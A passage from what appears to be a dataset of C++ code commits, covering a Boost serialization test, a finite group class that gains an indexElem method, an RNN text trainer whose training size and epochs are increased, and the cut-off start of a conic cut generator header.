BOOST_CHECK_EQUAL(get<base>(o).f(), 42);\n    \/\/ Moreover, since we've assurred convertability we can extract the raw\n    \/\/ instance from the object. Thereafter, we own it and have to delete it.\n    base* b = o.release_as<base>();\n    BOOST_CHECK_EQUAL(b->f(), 42);\n    BOOST_REQUIRE(b != nullptr);\n    delete b;\n  }\n  {\n    \/\/ Finally, since all serializations of pointers are assumed to pertain to\n    \/\/ objects with reference semantics, we can just serialize the pointer\n    \/\/ directly.\n    base* b = nullptr;\n    io::unarchive(buf, b);\n    BOOST_REQUIRE(b != nullptr);\n    BOOST_CHECK_EQUAL(b->f(), 42);\n    delete b;\n  }\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n<|endoftext|>"}
{"text":"<commit_before>\/* IMPORTANT TODO: This assumes the identity is always the first element of\n * basic_group<T>::elements().  Make sure this always holds. *\/\n\n#ifndef GROUP_H\n#define GROUP_H\n\n#define GROUP_CHECKS_MEMBERSHIP\n\n#include <map>\n#include <sstream>\n#include <vector>\n#include \"Groups\/BasicGroup.hpp\"\n#include \"Groups\/Element.hpp\"\n#include \"Groups\/util.hpp\"\n\nnamespace Groups {\n template<> class basic_group<Element> {\n public:\n\n  template<class T> basic_group(const basic_group<T>& g) {\n   std::vector<T> gelems = g.elements();\n   int qty = g.order();\n   std::map<T,int> elemdex;\n   for (int i=0; i<qty; i++) elemdex[gelems[i]] = i;\n   table = std::vector< std::vector<int> >(qty, std::vector<int>(qty));\n   for (int i=0; i<qty; i++) {\n    for (int j=0; j<qty; j++) {\n     table[i][j] = elemdex[g.oper(gelems[i], gelems[j])];\n    }\n   }\n   inverses = std::vector<int>(qty);\n   orders = std::vector<int>(qty);\n   strs = std::vector<std::string>(qty);\n   for (int i=0; i<qty; i++) {\n    inverses[i] = elemdex[g.invert(gelems[i])];\n    orders[i] = g.order(gelems[i]);\n    strs[i] = g.showElem(gelems[i]);\n   }\n   abel = g.abelian();\n  }\n\n  basic_group(const basic_group<Element>& t)\n   : table(t.table), inverses(t.inverses), orders(t.orders), strs(t.strs),\n     abel(t.abel) { }\n\n  virtual ~basic_group() { }\n\n  virtual int oper(const int& x, const int& y) const {return table[x][y]; }\n\n  virtual Element oper(const Element& x, const Element& y) const {\n#ifdef GROUP_CHECKS_MEMBERSHIP\n   if (!contains(x) || !contains(y)) throw group_mismatch(\"Group::oper\");\n#endif\n   return Element(this, table[x.val][y.val]);\n  }\n\n  virtual Element identity() const {return Element(this, 0); }\n\n  virtual std::vector<Element> elements() const {\n   std::vector<Element> elems(table.size(), identity());\n   std::vector<Element>::iterator iter = elems.begin();\n   int i=0;\n   for (iter++, i++; iter != elems.end(); iter++, i++) {\n    *iter = Element(this, i);\n   }\n   return elems;\n  }\n\n  virtual int invert(const int& x) const {return inverses[x]; }\n\n  virtual Element invert(const Element& x) const {\n#ifdef GROUP_CHECKS_MEMBERSHIP\n   if (!contains(x)) throw group_mismatch(\"Group::invert\");\n#endif\n   return Element(this, inverses[x.val]);\n  }\n\n  virtual int order() const {return table.size(); }\n\n  virtual int order(const int& x) const {return orders[x]; }\n\n  virtual int order(const Element& x) const {\n#ifdef GROUP_CHECKS_MEMBERSHIP\n   if (!contains(x)) throw group_mismatch(\"Group::order\");\n#endif\n   return orders[x.val];\n  }\n\n  virtual std::string showElem(const int& x) const {return strs[x]; }\n\n  virtual std::string showElem(const Element& x) const {\n#ifdef GROUP_CHECKS_MEMBERSHIP\n   if (!contains(x)) throw group_mismatch(\"Group::showElem\");\n#endif\n   return strs[x.val];\n  }\n\n  virtual bool abelian() const {return abel; }\n\n  virtual basic_group<Element>* copy() const {\n   return new basic_group<Element>(*this);\n  }\n\n  virtual int cmp(const basic_group<Element>* other) const {\n   int ct = cmpTypes(*this, *other);\n   if (ct != 0) return ct;\n   const basic_group<Element>* c = static_cast<const basic_group<Element>*>(other);\n   return table < c->table ? -1 : table > c->table ? 1 : 0;\n   \/* TODO: Should `strs` also take part in comparisons? *\/\n  }\n\n  virtual bool contains(const int& x) const {return 0 <= x && x < order(); }\n\n  virtual bool contains(const Element& x) const {\n   return x.gr->cmp(this) == 0 && 0 <= x.val && x.val < order();\n  }\n\n  basic_group<Element> direct(const basic_group<Element>& right) {\n   int leftQty = order(), rightQty = right.order();\n   int newQty = leftQty * rightQty;\n   std::vector< std::vector<int> > tbl(newQty, std::vector<int>(newQty));\n   for (int i=0; i<newQty; i++) {\n    int xa = i \/ rightQty, xb = i % rightQty;\n    for (int j=0; j<newQty; j++) {\n     int ya = j \/ rightQty, yb = j % rightQty;\n     tbl[i][j] = table[xa][ya] * rightQty + right.table[xb][yb];\n    }\n   }\n   std::vector<int> invs = std::vector<int>(newQty);\n   std::vector<int> ords = std::vector<int>(newQty);\n   std::vector<std::string> ss = std::vector<std::string>(newQty);\n   for (int i=0; i<newQty; i++) {\n    int a = i \/ rightQty, b = i % rightQty;\n    invs[i] = inverses[a] * rightQty + right.inverses[b];\n    ords[i] = lcm(orders[a], right.orders[b]);\n    if (i == 0) {\n     ss[i] = \"1\";\n    } else {\n     std::ostringstream out;\n     out << '(' << strs[a] << \", \" << right.strs[b] << ')';\n     ss[i] = out.str();\n    }\n   }\n   return basic_group<Element>(tbl, invs, ords, ss, abel && right.abel);\n  }\n\n private:\n  basic_group(std::vector< std::vector<int> > tbl, std::vector<int> invs,\n\t      std::vector<int> ords, std::vector<std::string> ss, bool abelian)\n   : table(tbl), inverses(invs), orders(ords), strs(ss), abel(abelian) { }\n\n  std::vector< std::vector<int> > table;\n  std::vector<int> inverses, orders;\n  std::vector<std::string> strs;\n  bool abel;\n };\n\n typedef basic_group<Element> Group;\n}\n\n#endif\n<commit_msg>Forgot to implement Group::indexElem<commit_after>\/* IMPORTANT TODO: This assumes the identity is always the first element of\n * basic_group<T>::elements().  Make sure this always holds. *\/\n\n#ifndef GROUP_H\n#define GROUP_H\n\n#define GROUP_CHECKS_MEMBERSHIP\n\n#include <map>\n#include <sstream>\n#include <vector>\n#include \"Groups\/BasicGroup.hpp\"\n#include \"Groups\/Element.hpp\"\n#include \"Groups\/util.hpp\"\n\nnamespace Groups {\n template<> class basic_group<Element> {\n public:\n\n  template<class T> basic_group(const basic_group<T>& g) {\n   std::vector<T> gelems = g.elements();\n   int qty = g.order();\n   std::map<T,int> elemdex;\n   for (int i=0; i<qty; i++) elemdex[gelems[i]] = i;\n   table = std::vector< std::vector<int> >(qty, std::vector<int>(qty));\n   for (int i=0; i<qty; i++) {\n    for (int j=0; j<qty; j++) {\n     table[i][j] = elemdex[g.oper(gelems[i], gelems[j])];\n    }\n   }\n   inverses = std::vector<int>(qty);\n   orders = std::vector<int>(qty);\n   strs = std::vector<std::string>(qty);\n   for (int i=0; i<qty; i++) {\n    inverses[i] = elemdex[g.invert(gelems[i])];\n    orders[i] = g.order(gelems[i]);\n    strs[i] = g.showElem(gelems[i]);\n   }\n   abel = g.abelian();\n  }\n\n  basic_group(const basic_group<Element>& t)\n   : table(t.table), inverses(t.inverses), orders(t.orders), strs(t.strs),\n     abel(t.abel) { }\n\n  virtual ~basic_group() { }\n\n  virtual int oper(const int& x, const int& y) const {return table[x][y]; }\n\n  virtual Element oper(const Element& x, const Element& y) const {\n#ifdef GROUP_CHECKS_MEMBERSHIP\n   if (!contains(x) || !contains(y)) throw group_mismatch(\"Group::oper\");\n#endif\n   return Element(this, table[x.val][y.val]);\n  }\n\n  virtual Element identity() const {return Element(this, 0); }\n\n  virtual std::vector<Element> elements() const {\n   std::vector<Element> elems(table.size(), identity());\n   std::vector<Element>::iterator iter = elems.begin();\n   int i=0;\n   for (iter++, i++; iter != elems.end(); iter++, i++) {\n    *iter = Element(this, i);\n   }\n   return elems;\n  }\n\n  virtual int invert(const int& x) const {return inverses[x]; }\n\n  virtual Element invert(const Element& x) const {\n#ifdef GROUP_CHECKS_MEMBERSHIP\n   if (!contains(x)) throw group_mismatch(\"Group::invert\");\n#endif\n   return Element(this, inverses[x.val]);\n  }\n\n  virtual int order() const {return table.size(); }\n\n  virtual int order(const int& x) const {return orders[x]; }\n\n  virtual int order(const Element& x) const {\n#ifdef GROUP_CHECKS_MEMBERSHIP\n   if (!contains(x)) throw group_mismatch(\"Group::order\");\n#endif\n   return orders[x.val];\n  }\n\n  virtual std::string showElem(const int& x) const {return strs[x]; }\n\n  virtual std::string showElem(const Element& x) const {\n#ifdef GROUP_CHECKS_MEMBERSHIP\n   if (!contains(x)) throw group_mismatch(\"Group::showElem\");\n#endif\n   return strs[x.val];\n  }\n\n  virtual bool abelian() const {return abel; }\n\n  virtual basic_group<Element>* copy() const {\n   return new basic_group<Element>(*this);\n  }\n\n  virtual int cmp(const basic_group<Element>* other) const {\n   int ct = cmpTypes(*this, *other);\n   if (ct != 0) return ct;\n   const basic_group<Element>* c = static_cast<const basic_group<Element>*>(other);\n   return table < c->table ? -1 : table > c->table ? 1 : 0;\n   \/* TODO: Should `strs` also take part in comparisons? *\/\n  }\n\n  virtual bool contains(const int& x) const {return 0 <= x && x < order(); }\n\n  virtual bool contains(const Element& x) const {\n   return x.gr->cmp(this) == 0 && 0 <= x.val && x.val < order();\n  }\n\n  virtual int indexElem(const Element& x) const {return x.index(); }\n\n  basic_group<Element> direct(const basic_group<Element>& right) {\n   int leftQty = order(), rightQty = right.order();\n   int newQty = leftQty * rightQty;\n   std::vector< std::vector<int> > tbl(newQty, std::vector<int>(newQty));\n   for (int i=0; i<newQty; i++) {\n    int xa = i \/ rightQty, xb = i % rightQty;\n    for (int j=0; j<newQty; j++) {\n     int ya = j \/ rightQty, yb = j % rightQty;\n     tbl[i][j] = table[xa][ya] * rightQty + right.table[xb][yb];\n    }\n   }\n   std::vector<int> invs = std::vector<int>(newQty);\n   std::vector<int> ords = std::vector<int>(newQty);\n   std::vector<std::string> ss = std::vector<std::string>(newQty);\n   for (int i=0; i<newQty; i++) {\n    int a = i \/ rightQty, b = i % rightQty;\n    invs[i] = inverses[a] * rightQty + right.inverses[b];\n    ords[i] = lcm(orders[a], right.orders[b]);\n    if (i == 0) {\n     ss[i] = \"1\";\n    } else {\n     std::ostringstream out;\n     out << '(' << strs[a] << \", \" << right.strs[b] << ')';\n     ss[i] = out.str();\n    }\n   }\n   return basic_group<Element>(tbl, invs, ords, ss, abel && right.abel);\n  }\n\n private:\n  basic_group(std::vector< std::vector<int> > tbl, std::vector<int> invs,\n\t      std::vector<int> ords, std::vector<std::string> ss, bool abelian)\n   : table(tbl), inverses(invs), orders(ords), strs(ss), abel(abelian) { }\n\n  std::vector< std::vector<int> > table;\n  std::vector<int> inverses, orders;\n  std::vector<std::string> strs;\n  bool abel;\n };\n\n typedef basic_group<Element> Group;\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <fstream>\n\/\/#include <codecvt>\n\/\/#include <cstddef>\n#include <locale>\n#include <string>\n#include <iomanip>\n\n#include \"cp-neural.h\"\n\nusing std::wcout; using std::wstring;\nusing std::cerr;\n\nclass Text {\nprivate:\n    bool isinit=false;\n    bool readDataFile(string inputfile) {\n        std::wifstream txtfile(inputfile, std::ios::binary);\n        if (!txtfile.is_open()) {\n            return false;\n        }\n        txtfile.imbue(std::locale(\"en_US.UTF8\"));\n        wstring ttext((std::istreambuf_iterator<wchar_t>(txtfile)),\n                     std::istreambuf_iterator<wchar_t>());\n        txtfile.close();\n        text=ttext;\n        filename=inputfile;\n        return true;\n    }\npublic:\n    wstring text;\n    string filename;\n    std::map<wchar_t,int> freq;\n    std::map<wchar_t,int> w2v;\n    std::map<int,wchar_t> v2w;\n    Text(string filename) {\n        if (readDataFile(filename)) {\n            for (auto wc : text) {\n                freq[wc]++;\n            }\n            int it=0;\n            for (auto wc : freq) {\n                w2v[wc.first]=it;\n                v2w[it]=wc.first;\n                ++it;\n            }\n            isinit=true;\n            cerr << \"Freq:\" << freq.size() << \", w2v:\" << w2v.size() << \", v2w:\" << v2w.size() << endl;\n        }\n    }\n    ~Text() {\n\n    }\n    bool isInit() {\n        return isinit;\n    }\n    int vocsize() {\n        if (!isinit) return 0;\n        return v2w.size();\n    }\n};\n\nint main(int argc, char *argv[]) {\n    std::setlocale (LC_ALL, \"\");\n    wcout << L\"Rnn-Readär\" << std::endl;\n\n    bool allOk=true;\n    if (argc!=2) {\n        cerr << \"rnnreader <path-to-text-file>\" << endl;\n        exit(-1);\n    }\n    Text txt(argv[1]);\n    if (!txt.isInit()) {\n        cerr << \"Cannot initialize Text object from inputfile: \" << argv[1] << endl;\n        exit(-1);\n    }\n\n    wcout << L\"Text size: \" << txt.text.size() << endl;\n\n    wcout << L\"Size of vocabulary:\" << txt.freq.size() << std::endl;\n\/*    for (auto f : txt.freq) {\n        int c=(int)f.first;\n        wstring wc(1,f.first);\n        wcout << wc << L\"|\" <<  wchar_t(f.first) << L\"(0x\" << std::hex << c << L\")\" \": \" << std::dec <<  f.second << endl;\n    }\n*\/\n    Color::Modifier red(Color::FG_RED);\n    Color::Modifier green(Color::FG_GREEN);\n    Color::Modifier def(Color::FG_DEFAULT);\n\n    int T=1; \/\/32;\n    int N=txt.text.size()-T+1;\n\n    MatrixN Xr(N,T);\n    MatrixN yr(N,T);\n\n    wstring chunk,chunky;\n    for (int i=0; i<N-T; i++) {\n        for (int t=0; t<T; t++) {\n            chunk=txt.text.substr(i+t,T);\n            chunky=txt.text.substr(i+t+1,T);\n            Xr(i,t)=txt.w2v[chunk[t]];\n            yr(i,t)=txt.w2v[chunky[t]];\n        }\n    }\n\n    MatrixN X(1000000,T);\n    MatrixN y(1000000,T);\n    MatrixN Xv(100000,T);\n    MatrixN yv(100000,T);\n    MatrixN Xt(100000,T);\n    MatrixN yt(100000,T);\n\n\/*    X=Xr.block(0,0,1000000,T);\n    y=yr.block(0,0,1000000,T);\n    Xv=Xr.block(1000000,0,100000,T);\n    yv=yr.block(1000000,0,100000,T);\n    Xt=Xr.block(1100000,0,100000,T);\n    yt=yr.block(1100000,0,100000,T);\n*\/\n    X=Xr.block(0,0,10000,T);\n    y=yr.block(0,0,10000,T);\n    Xv=Xr.block(11000,0,1000,T);\n    yv=yr.block(12000,0,1000,T);\n    Xt=Xr.block(12000,0,1000,T);\n    yt=yr.block(12000,0,1000,T);\n\n    cpInitCompute(\"Rnnreader\");\n    registerLayers();\n\n    LayerBlock lb(\"{name='rnnreader';init='normal'}\");\n    int VS=txt.vocsize();\n    int H=1024;\n    int D=16;\n    int BS=128;\n\n    CpParams cp0;\n    cp0.setPar(\"inputShape\",vector<int>{T});\n    cp0.setPar(\"V\",VS);\n    cp0.setPar(\"D\",D);\n    lb.addLayer(\"WordEmbedding\",\"WE0\",cp0,{\"input\"});\n\n    CpParams cp1;\n    cp1.setPar(\"inputShape\",vector<int>{D,T});\n    \/\/cp1.setPar(\"T\",T);\n    cp1.setPar(\"N\",BS);\n    cp1.setPar(\"H\",H);\n    cp1.setPar(\"maxcut\",(float)5.0);\n    lb.addLayer(\"RNN\",\"rnn1\",cp1,{\"WE0\"});\n\/*\n    CpParams cp2;\n    cp2.setPar(\"inputShape\",vector<int>{H,T});\n    \/\/cp1.setPar(\"T\",T);\n    cp2.setPar(\"N\",BS);\n    cp2.setPar(\"H\",H);\n    lb.addLayer(\"RNN\",\"rnn2\",cp2,{\"rnn1\"});\n\n    CpParams cp3;\n    cp3.setPar(\"inputShape\",vector<int>{H,T});\n    \/\/cp1.setPar(\"T\",T);\n    cp3.setPar(\"N\",BS);\n    cp3.setPar(\"H\",H);\n    lb.addLayer(\"RNN\",\"rnn3\",cp3,{\"rnn2\"});\n*\/\n    CpParams cp10;\n    cp10.setPar(\"inputShape\",vector<int>{H,T});\n    \/\/cp10.setPar(\"T\",T);\n    \/\/cp10.setPar(\"D\",H);\n    cp10.setPar(\"M\",VS);\n    lb.addLayer(\"TemporalAffine\",\"af1\",cp10,{\"rnn1\"});\n\n    CpParams cp11;\n    cp11.setPar(\"inputShape\",vector<int>{VS,T});\n    lb.addLayer(\"TemporalSoftmax\",\"sm1\",cp11,{\"af1\"});\n\n    if (!lb.checkTopology(true)) {\n        allOk=false;\n        cerr << red << \"Topology-check for LayerBlock: ERROR.\" << def << endl;\n    } else {\n        cerr << green << \"Topology-check for LayerBlock: ok.\" << def << endl;\n    }\n\n\/*    wstring chunk;\n    chunk = txt.text.substr(512,128);\n    wcout << chunk << endl;\n*\/\n    CpParams cpo(\"{verbose=true;epsion=1e-8}\");\n    cpo.setPar(\"learning_rate\", (floatN)2e-2); \/\/2.2e-2);\n    cpo.setPar(\"lr_decay\", (floatN)1.0);\n    cpo.setPar(\"regularization\", (floatN)1e-5);\n\n    cpo.setPar(\"epochs\",(floatN)1.0);\n    cpo.setPar(\"batch_size\",BS);\n\n    MatrixN xg(1,1);\n    wstring sg;\n    for (int i=0; i<100; i++) {\n        \/*floatN cAcc=*\/lb.train(X, y, Xv, yv, \"Adam\", cpo);\n        wstring instr=L\"Er sagte\";\n        for (auto wc : instr) {\n            sg[0]=wc;\n            xg(0,0)=txt.w2v[sg[0]];\n            MatrixN z(0,0);\n            MatrixN yg=lb.forward(xg,z,nullptr);\n        }\n        for (int g=0; g<100; g++) {\n            xg(0,0)=txt.w2v[sg[0]];\n            MatrixN z(0,0);\n            MatrixN yg=lb.forward(xg,z,nullptr);\n            float mx=-1000.0;\n            int ind=-1;\n            for (int j=0; j<yg.cols(); j++) {\n                if (yg(0,j)>mx) {\n                    mx=yg(0,j);\n                    ind=j;\n                }\n            }\n            if (ind==-1) {\n                cerr << \"Unexpected ind:\" << ind << endl;\n                exit(-1);\n            }\n            wchar_t cw=txt.v2w[ind];\n            wcout << cw;\n            sg[0]=cw;\n        }\n        wcout << endl;\n    }\n\n    \/*\n    floatN train_err, val_err, test_err;\n    bool evalFinal=true;\n    if (evalFinal) {\n        train_err=lb.test(X, y, cpo.getPar(\"batch_size\", 50));\n        val_err=lb.test(Xv, yv, cpo.getPar(\"batch_size\", 50));\n        test_err=lb.test(Xt, yt, cpo.getPar(\"batch_size\", 50));\n\n        cerr << \"Final results on RnnReader after \" << cpo.getPar(\"epochs\",(floatN)0.0) << \" epochs:\" << endl;\n        cerr << \"      Train-error: \" << train_err << \" train-acc: \" << 1.0-train_err << endl;\n        cerr << \" Validation-error: \" << val_err <<   \"   val-acc: \" << 1.0-val_err << endl;\n        cerr << \"       Test-error: \" << test_err <<  \"  test-acc: \" << 1.0-test_err << endl;\n    }\n    \/\/return cAcc;\n    *\/\n    cpExitCompute();\n}\n<commit_msg>more training<commit_after>#include <iostream>\n#include <fstream>\n\/\/#include <codecvt>\n\/\/#include <cstddef>\n#include <locale>\n#include <string>\n#include <iomanip>\n\n#include \"cp-neural.h\"\n\nusing std::wcout; using std::wstring;\nusing std::cerr;\n\nclass Text {\nprivate:\n    bool isinit=false;\n    bool readDataFile(string inputfile) {\n        std::wifstream txtfile(inputfile, std::ios::binary);\n        if (!txtfile.is_open()) {\n            return false;\n        }\n        txtfile.imbue(std::locale(\"en_US.UTF8\"));\n        wstring ttext((std::istreambuf_iterator<wchar_t>(txtfile)),\n                     std::istreambuf_iterator<wchar_t>());\n        txtfile.close();\n        text=ttext;\n        filename=inputfile;\n        return true;\n    }\npublic:\n    wstring text;\n    string filename;\n    std::map<wchar_t,int> freq;\n    std::map<wchar_t,int> w2v;\n    std::map<int,wchar_t> v2w;\n    Text(string filename) {\n        if (readDataFile(filename)) {\n            for (auto wc : text) {\n                freq[wc]++;\n            }\n            int it=0;\n            for (auto wc : freq) {\n                w2v[wc.first]=it;\n                v2w[it]=wc.first;\n                ++it;\n            }\n            isinit=true;\n            cerr << \"Freq:\" << freq.size() << \", w2v:\" << w2v.size() << \", v2w:\" << v2w.size() << endl;\n        }\n    }\n    ~Text() {\n\n    }\n    bool isInit() {\n        return isinit;\n    }\n    int vocsize() {\n        if (!isinit) return 0;\n        return v2w.size();\n    }\n};\n\nint main(int argc, char *argv[]) {\n    std::setlocale (LC_ALL, \"\");\n    wcout << L\"Rnn-Readär\" << std::endl;\n\n    bool allOk=true;\n    if (argc!=2) {\n        cerr << \"rnnreader <path-to-text-file>\" << endl;\n        exit(-1);\n    }\n    Text txt(argv[1]);\n    if (!txt.isInit()) {\n        cerr << \"Cannot initialize Text object from inputfile: \" << argv[1] << endl;\n        exit(-1);\n    }\n\n    wcout << L\"Text size: \" << txt.text.size() << endl;\n\n    wcout << L\"Size of vocabulary:\" << txt.freq.size() << std::endl;\n\/*    for (auto f : txt.freq) {\n        int c=(int)f.first;\n        wstring wc(1,f.first);\n        wcout << wc << L\"|\" <<  wchar_t(f.first) << L\"(0x\" << std::hex << c << L\")\" \": \" << std::dec <<  f.second << endl;\n    }\n*\/\n    Color::Modifier red(Color::FG_RED);\n    Color::Modifier green(Color::FG_GREEN);\n    Color::Modifier def(Color::FG_DEFAULT);\n\n    int T=1; \/\/32;\n    int N=txt.text.size()-T+1;\n\n    MatrixN Xr(N,T);\n    MatrixN yr(N,T);\n\n    wstring chunk,chunky;\n    for (int i=0; i<N-T; i++) {\n        for (int t=0; t<T; t++) {\n            chunk=txt.text.substr(i+t,T);\n            chunky=txt.text.substr(i+t+1,T);\n            Xr(i,t)=txt.w2v[chunk[t]];\n            yr(i,t)=txt.w2v[chunky[t]];\n        }\n    }\n\n    MatrixN X(1000000,T);\n    MatrixN y(1000000,T);\n    MatrixN Xv(100000,T);\n    MatrixN yv(100000,T);\n    MatrixN Xt(100000,T);\n    MatrixN yt(100000,T);\n\n\/*    X=Xr.block(0,0,1000000,T);\n    y=yr.block(0,0,1000000,T);\n    Xv=Xr.block(1000000,0,100000,T);\n    yv=yr.block(1000000,0,100000,T);\n    Xt=Xr.block(1100000,0,100000,T);\n    yt=yr.block(1100000,0,100000,T);\n*\/\n    X=Xr.block(0,0,100000,T);\n    y=yr.block(0,0,100000,T);\n    Xv=Xr.block(100000,0,10000,T);\n    yv=yr.block(100000,0,10000,T);\n    Xt=Xr.block(110000,0,10000,T);\n    yt=yr.block(110000,0,10000,T);\n\n    cpInitCompute(\"Rnnreader\");\n    registerLayers();\n\n    LayerBlock lb(\"{name='rnnreader';init='normal'}\");\n    int VS=txt.vocsize();\n    int H=1024;\n    int D=16;\n    int BS=128;\n\n    CpParams cp0;\n    cp0.setPar(\"inputShape\",vector<int>{T});\n    cp0.setPar(\"V\",VS);\n    cp0.setPar(\"D\",D);\n    lb.addLayer(\"WordEmbedding\",\"WE0\",cp0,{\"input\"});\n\n    CpParams cp1;\n    cp1.setPar(\"inputShape\",vector<int>{D,T});\n    \/\/cp1.setPar(\"T\",T);\n    cp1.setPar(\"N\",BS);\n    cp1.setPar(\"H\",H);\n    cp1.setPar(\"maxcut\",(float)5.0);\n    lb.addLayer(\"RNN\",\"rnn1\",cp1,{\"WE0\"});\n\/*\n    CpParams cp2;\n    cp2.setPar(\"inputShape\",vector<int>{H,T});\n    \/\/cp1.setPar(\"T\",T);\n    cp2.setPar(\"N\",BS);\n    cp2.setPar(\"H\",H);\n    lb.addLayer(\"RNN\",\"rnn2\",cp2,{\"rnn1\"});\n\n    CpParams cp3;\n    cp3.setPar(\"inputShape\",vector<int>{H,T});\n    \/\/cp1.setPar(\"T\",T);\n    cp3.setPar(\"N\",BS);\n    cp3.setPar(\"H\",H);\n    lb.addLayer(\"RNN\",\"rnn3\",cp3,{\"rnn2\"});\n*\/\n    CpParams cp10;\n    cp10.setPar(\"inputShape\",vector<int>{H,T});\n    \/\/cp10.setPar(\"T\",T);\n    \/\/cp10.setPar(\"D\",H);\n    cp10.setPar(\"M\",VS);\n    lb.addLayer(\"TemporalAffine\",\"af1\",cp10,{\"rnn1\"});\n\n    CpParams cp11;\n    cp11.setPar(\"inputShape\",vector<int>{VS,T});\n    lb.addLayer(\"TemporalSoftmax\",\"sm1\",cp11,{\"af1\"});\n\n    if (!lb.checkTopology(true)) {\n        allOk=false;\n        cerr << red << \"Topology-check for LayerBlock: ERROR.\" << def << endl;\n    } else {\n        cerr << green << \"Topology-check for LayerBlock: ok.\" << def << endl;\n    }\n\n\/*    wstring chunk;\n    chunk = txt.text.substr(512,128);\n    wcout << chunk << endl;\n*\/\n    CpParams cpo(\"{verbose=true;epsion=1e-8}\");\n    cpo.setPar(\"learning_rate\", (floatN)2e-2); \/\/2.2e-2);\n    cpo.setPar(\"lr_decay\", (floatN)1.0);\n    cpo.setPar(\"regularization\", (floatN)1e-5);\n\n    cpo.setPar(\"epochs\",(floatN)5.0);\n    cpo.setPar(\"batch_size\",BS);\n\n    MatrixN xg(1,1);\n    wstring sg;\n    for (int i=0; i<100; i++) {\n        \/*floatN cAcc=*\/lb.train(X, y, Xv, yv, \"Adam\", cpo);\n        wstring instr=L\"Er sagte\";\n        for (auto wc : instr) {\n            sg[0]=wc;\n            xg(0,0)=txt.w2v[sg[0]];\n            MatrixN z(0,0);\n            MatrixN yg=lb.forward(xg,z,nullptr);\n        }\n        for (int g=0; g<100; g++) {\n            xg(0,0)=txt.w2v[sg[0]];\n            MatrixN z(0,0);\n            MatrixN yg=lb.forward(xg,z,nullptr);\n            float mx=-1000.0;\n            int ind=-1;\n            for (int j=0; j<yg.cols(); j++) {\n                if (yg(0,j)>mx) {\n                    mx=yg(0,j);\n                    ind=j;\n                }\n            }\n            if (ind==-1) {\n                cerr << \"Unexpected ind:\" << ind << endl;\n                exit(-1);\n            }\n            wchar_t cw=txt.v2w[ind];\n            wcout << cw;\n            sg[0]=cw;\n        }\n        wcout << endl;\n    }\n\n    \/*\n    floatN train_err, val_err, test_err;\n    bool evalFinal=true;\n    if (evalFinal) {\n        train_err=lb.test(X, y, cpo.getPar(\"batch_size\", 50));\n        val_err=lb.test(Xv, yv, cpo.getPar(\"batch_size\", 50));\n        test_err=lb.test(Xt, yt, cpo.getPar(\"batch_size\", 50));\n\n        cerr << \"Final results on RnnReader after \" << cpo.getPar(\"epochs\",(floatN)0.0) << \" epochs:\" << endl;\n        cerr << \"      Train-error: \" << train_err << \" train-acc: \" << 1.0-train_err << endl;\n        cerr << \" Validation-error: \" << val_err <<   \"   val-acc: \" << 1.0-val_err << endl;\n        cerr << \"       Test-error: \" << test_err <<  \"  test-acc: \" << 1.0-test_err << endl;\n    }\n    \/\/return cAcc;\n    *\/\n    cpExitCompute();\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef CglConicCutGenerator_H\n#define CglConicCutGenerator_H\n\n\/\/ CGL headers\n#include <CglTreeInfo.hpp>\n\/\/ OsiConic headers\n#include <OsiConicSolverInterface.hpp>\n\n\/\/ this is an abstract base class for generating conic cuts.\n\/\/ specific conic cut generators inherit this class.\n\/\/\n\/\/\n\n\/\/ what is common to all conic cut generators?\n\/\/ for now we assume there is not much in common.\n\/\/ I will come back here when I implemented all specific cuts\n\/\/ since I will know then what is common.\n\/\/ following maybe?\n\/\/ --cut generating cone\n\/\/ ----size of cone\n\/\/ ----members of the cut generating cone\n\/\/ --disjunction?\n\nclass CglConicCutGenerator {\npublic:\n  \/\/ default constructor\n  CglConicCutGenerator();\n  \/\/ copy constructor\n  CglConicCutGenerator(CglConicCutGenerator const & other);\n  \/\/ copy assignment operator\n  CglConicCutGenerator & operator=(CglConicCutGenerator const & rhs);\n  virtual ~CglConicCutGenerator();\n  \/\/ clone method\n  virtual CglConicCutGenerator * clone() const = 0;\n  \/\/ Create C++ lines so set generator, I do not see why we have this.\n  virtual std::string generateCpp( FILE * ) {return \"\";}\n\n  \/\/\/ This can be used to refresh any information\n  virtual void refreshSolver(OsiConicSolverInterface * si) {}\n  \/\/ generate cuts\n  virtual void generateCuts(const OsiConicSolverInterface & si,\n\t\t\t    OsiConicCuts & cs,\n\t\t\t    const CglTreeInfo info = CglTreeInfo()) = 0;\n  int aggressiveness() const;\n  void setAggressiveness(int value);\n  \/\/ set whether can do global cuts\n  void setGlobalCuts(bool ability);\n  bool canDoGlobalCuts() const;\n  \/**\n     Returns true if may generate cuts in tree (rather than root node).\n     Used so know if matrix will change in tree.  Really\n     meant so column cut generators can still be active\n     without worrying code.\n     Default is true\n  *\/\n  virtual bool mayGenerateRowCutsInTree() const;\n  \/\/\/ Return true if needs optimal basis to do cuts\n  virtual bool needsOptimalBasis() const;\n  \/\/\/ Return maximum length of cut in tree\n  virtual int maximumLengthOfCutInTree() const\n  { return COIN_INT_MAX;}\nprivate:\n  \/**\n     Aggressiveness - 0 = neutral, 100 is normal root node.\n     Really just a hint to cut generator\n  *\/\n  int aggressive_;\n  \/\/\/ True if can do global cuts i.e. no general integers\n  bool canDoGlobalCuts_;\n};\n\n\/\/ we define a class to represent a disjunction. This is for conic Cgl\n\/\/ use only. Not intented for public use.\nclass Disjunction {\n  int size_;\n  double * c1_;\n  double c10_;\n  double * c2_;\n  double c20_;\npublic:\n  \/\/ defualt constructor\n  Disjunction(int size,\n\t      double const * c1, double c10,\n\t      double const * c2, double c20): size_(size) {\n    c1_ = new double[size];\n    std::copy (c1, c1+size, c1_);\n    c2_ = new double[size];\n    std::copy (c2, c2+size, c2_);\n    c10_ = c10;\n    c20_ = c20;\n  }\n  \/\/ copy constructor\n  Disjunction(Disjunction const & other) {\n    \/\/ save size_\n    size_ = other.size();\n    \/\/ copy c1_\n    if (c1_)\n      delete[] c1_;\n    c1_ = new double[size_];\n    double const * other_c1 = other.get_c1();\n    std::copy(other_c1, other_c1+size_, c1_);\n    \/\/ copy c2_\n    if (c2_)\n      delete[] c2_;\n    c2_ = new double[size_];\n    double const * other_c2 = other.get_c2();\n    std::copy(other_c2, other_c2+size_, c2_);\n    \/\/ save c10 and c20\n    c10_ = other.get_c10();\n    c20_ = other.get_c20();\n  }\n  \/\/ copy assignment operator\n  Disjunction & operator=(Disjunction const & rhs) {\n    \/\/ save size_\n    size_ = rhs.size();\n    \/\/ copy c1_\n    if 